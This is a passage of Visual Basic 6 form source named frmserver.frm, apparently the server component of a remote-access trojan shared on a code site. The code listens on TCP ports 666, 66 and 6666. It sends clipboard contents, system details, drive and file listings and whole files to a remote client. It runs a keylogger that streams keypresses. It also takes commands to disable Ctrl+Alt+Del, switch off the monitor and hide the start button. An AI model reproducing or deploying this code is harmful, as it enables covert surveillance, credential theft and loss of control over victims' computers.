?? frmserver.frm
字號:
Left = 2040
TabIndex = 12
Top = 0
Width = 375
End
Begin VB.Label lbloldactivebordercolor
BackColor = &H00808080&
Height = 375
Left = 2520
TabIndex = 11
Top = 0
Width = 375
End
Begin VB.Label lbloldinactivebordercolor
BackColor = &H00808080&
Height = 375
Left = 3000
TabIndex = 10
Top = 0
Width = 375
End
Begin VB.Label lbloldappworkspace
BackColor = &H00808080&
Height = 375
Left = 3480
TabIndex = 9
Top = 0
Width = 375
End
Begin VB.Line Line1
Visible = 0 'False
X1 = 0
X2 = 2040
Y1 = 480
Y2 = 480
End
Begin VB.Line Line2
Visible = 0 'False
X1 = 2040
X2 = 2040
Y1 = 480
Y2 = 0
End
Begin VB.Line Line4
Visible = 0 'False
X1 = 3720
X2 = 3720
Y1 = 0
Y2 = 1680
End
Begin VB.Line Line6
Visible = 0 'False
X1 = 0
X2 = 3720
Y1 = 1680
Y2 = 1680
End
Begin VB.Label Label1
Alignment = 2 'Center
Caption = "Screen Options"
Height = 255
Left = 2160
TabIndex = 8
Top = 120
Visible = 0 'False
Width = 1455
End
End
Attribute VB_Name = "frmServer"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function Escape Lib "gdi32" (ByVal hdc As Long, _
ByVal nEscape As Long, ByVal nCount As Long, lpInData As Any, _
lpOutData As Any) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, _
ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, _
ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, _
ByVal ySrc As Long, ByVal nSrcWidth As Long, _
ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, _
ByVal hObject As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" _
(ByVal hdc As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
ByVal lParam As Long) As Long
Private Declare Function SwapMouseButton& Lib "user32" _
(ByVal bSwap As Long)
Private Declare Function ShowCursor& Lib "user32" _
(ByVal bShow As Long)
Private Const WM_SYSCOMMAND = &H112&
Private Const SC_MONITORPOWER = &HF170&
Dim mousehide As Boolean
Dim fliphorizontal As Boolean, flipvertical As Boolean, thechange 'declare the variables
Dim hIn As Integer
Dim Sending As Boolean, Sending2 As Boolean, stopit As Boolean
Sub SendInfo()
Dim infos(11), tot
infos(1) = "current time: " & Time
infos(2) = "current date: " & Date
infos(3) = "windows has been on for: " & GetTimeOnWindows
If IsScrollLockOn = 1 Then
infos(4) = "scroll lock is: on"
Else
infos(4) = "scroll lock is: off"
End If
If IsNumLockOn = 1 Then
infos(5) = "num lock is: on"
Else
infos(5) = "num lock is: off"
End If
If IsCapsLockOn = 1 Then
infos(6) = "caps lock is: on"
Else
infos(6) = "caps lock is: off"
End If
infos(7) = "double click time: " & GetDoubleClick & "ms"
infos(8) = "caret blink time: " & GetCaretBlink & "ms"
infos(9) = KeyboardInfo
infos(10) = "clipboard text: " & Clipboard.GetText
infos(11) = "resolution: " & Screen.Width / Screen.TwipsPerPixelX & "x" & Screen.Height / Screen.TwipsPerPixelY
For i = 1 To 11
tot = tot & infos(i) & vbCrLf
Next i
WS.SendData "Info;" & tot
End Sub
Sub SendDrives()
'On Error Resume Next
Dim tot
For i = 0 To Drive1.ListCount - 1
tot = tot & Mid(Drive1.List(i), 1, 2) & "\" & Chr(13) & Chr(10)
Next i
WS.SendData "Drives;" & tot
End Sub
Sub SendFiles(Directory)
On Error GoTo error_handler
Dir1.Path = Directory
File1.Path = Directory
Dim totd, totf, tot
For i = 0 To Dir1.ListCount - 1
totd = totd & Dir1.List(i) & "\" & Chr(13) & Chr(10)
Next i
For i = 0 To File1.ListCount - 1
totf = totf & File1.Path & File1.List(i) & Chr(13) & Chr(10)
Next i
tot = totd & totf
WS.SendData "Files;" & tot
error_handler:
Exit Sub
End Sub
Private Sub ListBoxtoTextBox()
Dim a As Long
Dim b As String
For a = 0 To (List1.ListCount - 1)
b = b & List1.List(a) & vbCrLf
Next
Text1.Text = b
End Sub
Function StartButton(State As StartBar_Constants)
'This function can hide and show the _
start button on your Windows (95/98/2000) PC.
Dim SendValue As Long
Dim SetOption As Long
SetOption = FindWindow("Shell_TrayWnd", "")
SendValue = FindWindowEx(SetOption, 0, "Button", vbNullString)
ShowWindow SendValue, State
End Function
Private Sub File_ConnectionRequest(ByVal requestID As Long)
File.Close
File.Accept requestID
End Sub
Private Sub File_DataArrival(ByVal bytesTotal As Long)
Dim dat As String
Dim a, b, c
File.GetData dat$
If stopit Then Exit Sub
If Sending = True Then
a = LOF(1)
b = Loc(1)
c = a - b
If c < 4000 Then
dat$ = Input(c, #1)
Sending = False
File.SendData dat$
Sending2 = True
Close #1
Else
dat$ = Input(4000, #1)
File.SendData dat$
End If
ElseIf Sending = False Then
Sending = True
If LOF(1) < 4000 Then
dat$ = Input(LOF(1), #1)
File.SendData dat$
Sending2 = True
Close #1
Else
dat = Input(4000, #1)
File.SendData dat$
End If
File.SendData "CLOSE"
End If
DoEvents
End Sub
Private Sub File_SendComplete()
If Sending2 = True Then
DoEvents
File.SendData "CLOSE"
Sending2 = False
stopit = True
End If
text2.Text = "Complete"
End Sub
Private Sub Form_Load()
Start_listen
SetPriority
Dir1.Path = txtpath.Text
File1.Path = Dir1.Path
WS.LocalPort = 666
WS.Listen
fliphorizontal = False 'set variable to correct value
flipvertical = False
thechange = SRCCOPY
With frmDesktop 'set the size of the form and picture in it
.Top = 0
.Left = 0
.Width = Screen.Width
.Height = Screen.Height
.Picture1.Height = Screen.Height
.Picture1.Width = Screen.Width
End With
Dim lngColor As Long
lngColor = GetSysColor(4)
lbloldmenucolor.BackColor = lngColor
lngColor = GetSysColor(15)
lbloldbuttoncolor.BackColor = lngColor
lngColor = GetSysColor(5)
lbloldwincolor.BackColor = lngColor
lngColor = GetSysColor(1)
lbloldbackground.BackColor = lngColor
lngColor = GetSysColor(6)
lbloldwinframecolor.BackColor = lngColor
lngColor = GetSysColor(10)
lbloldactivebordercolor.BackColor = lngColor
lngColor = GetSysColor(11)
lbloldinactivebordercolor.BackColor = lngColor
lngColor = GetSysColor(12)
lbloldappworkspace.BackColor = lngColor
End Sub
Private Sub Command1_Click()
frmDesktop.Picture1.Cls 'Clear picture
DumpToWindow frmDesktop.Picture1, thechange, fliphorizontal, flipvertical
frmDesktop.Show 'show the form
End Sub
Private Sub Form_Unload(Cancel As Integer)
End
End Sub
Private Sub KeyLog_DataArrival(ByVal bytesTotal As Long)
If Cmd(0) = "StopLog" Then
KeysTmr.Enabled = False
WS.SendData "LogStopped"
End If
End Sub
Private Sub Option1_Click()
thechange = SRCCOPY 'change variable
End Sub
Private Sub Option2_Click()
thechange = SRCINVERT 'change variable
End Sub
Private Sub Option3_Click()
thechange = SRCAND 'change variable
End Sub
Private Sub Option4_Click()
thechange = SRCERASE 'change variable
End Sub
Private Sub Option5_Click()
thechange = SRCPAINT 'change variable
End Sub
Private Sub Option6_Click()
fliphorizontal = True 'change variables
End Sub
Private Sub Option7_Click()
flipvertical = True
End Sub
Private Sub WS_Close()
WS.Close
WS.Listen
File.Close
File.Listen
End Sub
Private Sub WS_ConnectionRequest(ByVal requestID As Long)
WS.Close
WS.Accept requestID
WS.SendData "Connected"
End Sub
Private Sub KeysTmr_Timer()
If GetKey Then
KeyLog.SendData "KEY" & sKeyPressed ' any keypresses ?
End If
End Sub
Private Sub Start_listen() ' own sub because called twice
With KeyLog
.Close
.Protocol = sckTCPProtocol
.LocalPort = 66
.Listen
End With
With File
.Close
.Protocol = sckTCPProtocol
.LocalPort = 6666
.Listen
End With
End Sub
Private Sub ListenSck_Close() ' if no connection, disable logging
KeysTmr.Enabled = False
Start_listen
End Sub
Private Sub keylog_ConnectionRequest(ByVal requestID As Long) ' accept any request
With KeyLog
.Close
.Accept requestID
End With
KeysTmr.Enabled = True ' if connected, enable logging
WS.SendData "LogStarted"
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
WS.GetData Data, vbString, bytesTotal
lastdata$ = Data
Arrayize lastdata$, ";"
Dim thedata As String
If Cmd(0) = "PrintText" Then
PrintText Cmd(1)
WS.SendData "TextPrinted"
ElseIf Cmd(0) = "ReadClipBoard" Then
WS.SendData "ClipText;" & Clipboard.GetText
ElseIf Cmd(0) = "EmptyClipBoard" Then
Clipboard.SetText ""
WS.SendData "ClipCleared"
ElseIf Cmd(0) = "Disconnected" Then
WS.Close
WS.Listen
ElseIf Cmd(0) = "GetInfo" Then
SendInfo
ElseIf Cmd(0) = "NumLockOn" Then
NumLock True
WS.SendData "NumLockOn"
ElseIf Cmd(0) = "NumLockOff" Then
NumLock False
WS.SendData "NumLockOff"
ElseIf Cmd(0) = "CapsLockOn" Then
CapsLock True
WS.SendData "CapsLockOn"
ElseIf Cmd(0) = "CapsLockOff" Then
CapsLock False
WS.SendData "CapsLockOff"
ElseIf Cmd(0) = "ScrollLockOn" Then
ScrollLock True
WS.SendData "ScrollLockOn"
ElseIf Cmd(0) = "ScrollLockOff" Then
ScrollLock False
WS.SendData "ScrollLockOff"
ElseIf Cmd(0) = "CtrlAltDelOn" Then
CtrlAltDel True
WS.SendData "CtrlAltDelOn"
ElseIf Cmd(0) = "CtrlAltDelOff" Then
CtrlAltDel False
WS.SendData "CtrlAltDelOff"
ElseIf Cmd(0) = "MonitorOn" Then
a = SendMessage(frmServer.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, -1&)
WS.SendData "MonitorOn"
ElseIf Cmd(0) = "MonitorOff" Then
a = SendMessage(frmServer.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, 0&)
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -